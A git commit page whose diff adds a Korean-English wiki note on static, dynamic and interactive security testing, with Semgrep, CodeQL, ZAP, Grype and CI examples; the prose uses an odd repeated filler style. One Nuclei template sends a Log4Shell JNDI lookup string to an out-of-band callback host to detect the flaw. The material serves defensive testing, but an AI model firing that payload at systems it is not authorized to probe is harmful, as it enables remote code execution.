docs(10_Wiki): 위키 전체 재구성 — Topic_* 폴더를 4개 카테고리로 통합 + 대규모 중복 제거
Topic_Agent/Topic_Blog/Topics/Topics_Biz/Topics_Meeting/Topics_Rag의 마크다운 지식 문서를 Topic_General/Topic_Programming/Topic_Graphic/Topic_Business 4개 카테고리로 재분류. - 중복 제거: frontmatter의 status:duplicate/merged + duplicate_of/redirect_to 필드로 자기 자신을 중복으로 선언한 리다이렉트 stub 1032개 제거, 완전 동일 내용 파일 472개 제거, 동일 파일명·다른 내용 충돌 시 더 큰(완전한) 버전만 유지(162개 제거) — 총 1639개 중복 제거. - 분류: 폴더 단위로 명확한 항목(AI_and_ML/Coding/Architecture 등 → Programming, Comfyui/Visual_Effects → Graphic, Topics_Biz/Topics_Meeting/사업 등 → Business, Poetic_Blog_Writing/창의성/Game_Design 등 → General)은 폴더 우선순위로, 나머지 혼재 폴더(Topic_Agent/Topic_Blog/Topics 루트/Thinking & Reasoning/Other/UI_UX_Assets)는 title/tags 키워드 스코어링으로 파일 단위 분류(불명확한 경우 General로 폴백). 원본 폴더명은 "From_*" 서브폴더로 보존해 추적 가능성 유지. - 최종 배치: Programming 2784 / General 1608 / Graphic 285 / Business 249 = 4926개 문서. - 에이전트 운영 상태(.astra/.agent/.obsidian/sessions/memory/_company/docs/lessons/_shared/src)는 지식 콘텐츠가 아니므로 재분류 대상에서 제외하고 원위치 유지. - Topics/Topic_email(상위 보호 폴더 Topic_email과 파일명 100% 중복) 삭제 — 보호 폴더 자체는 미변경. - 완전히 비게 된 Topic_Agent/Topic_Blog/Topics_Biz/Topics_Rag 폴더 제거.
This commit is contained in:
Antigravity Agent
@@ -0,0 +1,163 @@
|
||||
---
|
||||
id: wiki-2026-0508-static-and-dynamic-analysis
|
||||
title: Static and Dynamic Analysis
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SAST, DAST, Code Analysis, Program Analysis]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [security, analysis, sast, dast]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: multi
|
||||
framework: semgrep-zap
|
||||
---
|
||||
|
||||
# Static and Dynamic Analysis
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 코드 의 read 의 SAST, 매 코드 의 run 의 DAST"**. 매 static 의 source/binary 의 inspection — 매 dynamic 의 running app 의 probe. 2026 의 best practice 의 SAST + DAST + IAST 의 layered defense.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 SAST (Static Application Security Testing)
|
||||
- 매 source code / bytecode 의 분석 — 매 execution 의 X.
|
||||
- 강점: full coverage, early in SDLC, finds hard-to-trigger bugs.
|
||||
- 약점: false positives, no runtime context, framework-specific FN.
|
||||
- Tools: Semgrep, CodeQL, SonarQube, Snyk Code.
|
||||
|
||||
### 매 DAST (Dynamic Application Security Testing)
|
||||
- 매 running app 의 black-box probing — 매 HTTP fuzzing.
|
||||
- 강점: real runtime behavior, env-config bugs, low FP.
|
||||
- 약점: limited coverage (only reachable paths), late in SDLC.
|
||||
- Tools: OWASP ZAP, Burp Suite, Nuclei.
|
||||
|
||||
### 매 IAST (Interactive)
|
||||
- 매 instrumented agent 의 runtime data flow tracking.
|
||||
- Hybrid: static-style precision + dynamic-style validity.
|
||||
- Tools: Contrast Security, Checkmarx IAST.
|
||||
|
||||
### 매 응용
|
||||
1. CI/CD security gate (SAST on every PR).
|
||||
2. Pre-prod scan (DAST against staging).
|
||||
3. Compliance (PCI, SOC2, ISO 27001).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Semgrep — custom SAST rule
|
||||
```yaml
|
||||
rules:
|
||||
- id: hardcoded-jwt-secret
|
||||
pattern: jwt.sign($PAYLOAD, "...")
|
||||
message: Hardcoded JWT secret detected
|
||||
severity: ERROR
|
||||
languages: [javascript, typescript]
|
||||
```
|
||||
|
||||
### CodeQL — taint tracking
|
||||
```ql
|
||||
import javascript
|
||||
|
||||
class XssConfig extends TaintTracking::Configuration {
|
||||
XssConfig() { this = "Xss" }
|
||||
override predicate isSource(DataFlow::Node n) {
|
||||
n instanceof RemoteFlowSource
|
||||
}
|
||||
override predicate isSink(DataFlow::Node n) {
|
||||
exists(DOM::DomMethodCallNode c | c.getMethodName() = "innerHTML" |
|
||||
n = c.getArgument(0))
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### ZAP — automated DAST scan
|
||||
```bash
|
||||
docker run -v $(pwd):/zap/wrk -t zaproxy/zap-stable \
|
||||
zap-baseline.py -t https://staging.example.com \
|
||||
-r report.html -J report.json
|
||||
```
|
||||
|
||||
### Nuclei — template-based DAST
|
||||
```yaml
|
||||
id: log4shell
|
||||
info:
|
||||
name: Apache Log4j RCE
|
||||
severity: critical
|
||||
requests:
|
||||
- method: GET
|
||||
path: ["{{BaseURL}}"]
|
||||
headers:
|
||||
User-Agent: "${jndi:ldap://{{interactsh-url}}/a}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol
|
||||
words: ["dns"]
|
||||
```
|
||||
|
||||
### CI integration — GitHub Actions
|
||||
```yaml
|
||||
- uses: returntocorp/semgrep-action@v1
|
||||
with:
|
||||
config: p/owasp-top-ten
|
||||
- uses: github/codeql-action/analyze@v3
|
||||
- name: ZAP Baseline
|
||||
uses: zaproxy/action-baseline@v0.10.0
|
||||
with:
|
||||
target: 'https://staging.example.com'
|
||||
```
|
||||
|
||||
### Tainted data flow — Java pseudocode
|
||||
```java
|
||||
String input = request.getParameter("q"); // SOURCE (tainted)
|
||||
String sanitized = StringEscapeUtils.escapeHtml4(input); // SANITIZER
|
||||
response.getWriter().write(sanitized); // SINK (safe)
|
||||
|
||||
// SAST tracks: source → sink without sanitizer = vulnerability
|
||||
```
|
||||
|
||||
### SBOM + dependency scanning
|
||||
```bash
|
||||
syft dir:. -o cyclonedx-json > sbom.json
|
||||
grype sbom:sbom.json --fail-on high
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Pre-commit, fast feedback | SAST (Semgrep) |
|
||||
| Deep semantic analysis | CodeQL |
|
||||
| Pre-prod runtime check | DAST (ZAP, Burp) |
|
||||
| Runtime + coverage | IAST (Contrast) |
|
||||
| Dependency vulns | SCA (Snyk, Grype) |
|
||||
|
||||
**기본값**: 매 Semgrep (PR) + ZAP baseline (nightly) + Grype (deps).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Application Security]] · [[CI/CD Pipeline & IDE Security Integration|DevSecOps]]
|
||||
- 변형: [[SAST]] · [[보안 및 시스템 신뢰성 표준|DAST]] · [[IAST]] · [[SCA_Fundamentals|SCA]]
|
||||
- Adjacent: [[Fuzzing]] · [[Threat Modeling]] · [[보안 및 시스템 신뢰성 표준|OWASP Top 10]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: code review automation, custom rule generation, false-positive triage.
|
||||
**언제 X**: full code understanding (LLM hallucinates), security-critical decisions without human review.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **SAST only**: 매 runtime config bug 의 miss — 매 DAST 의 추가.
|
||||
- **Ignore false positives**: 매 alert fatigue 의 cause — 매 tuning 의 invest.
|
||||
- **Scan in prod**: 매 DAST 의 staging — 매 prod 의 X.
|
||||
- **One-time scan**: 매 continuous 의 — 매 every PR 의 gate.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (OWASP Testing Guide v5, NIST SP 800-218).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SAST/DAST/IAST patterns, CI integration |
|
||||
Reference in New Issue
Block a user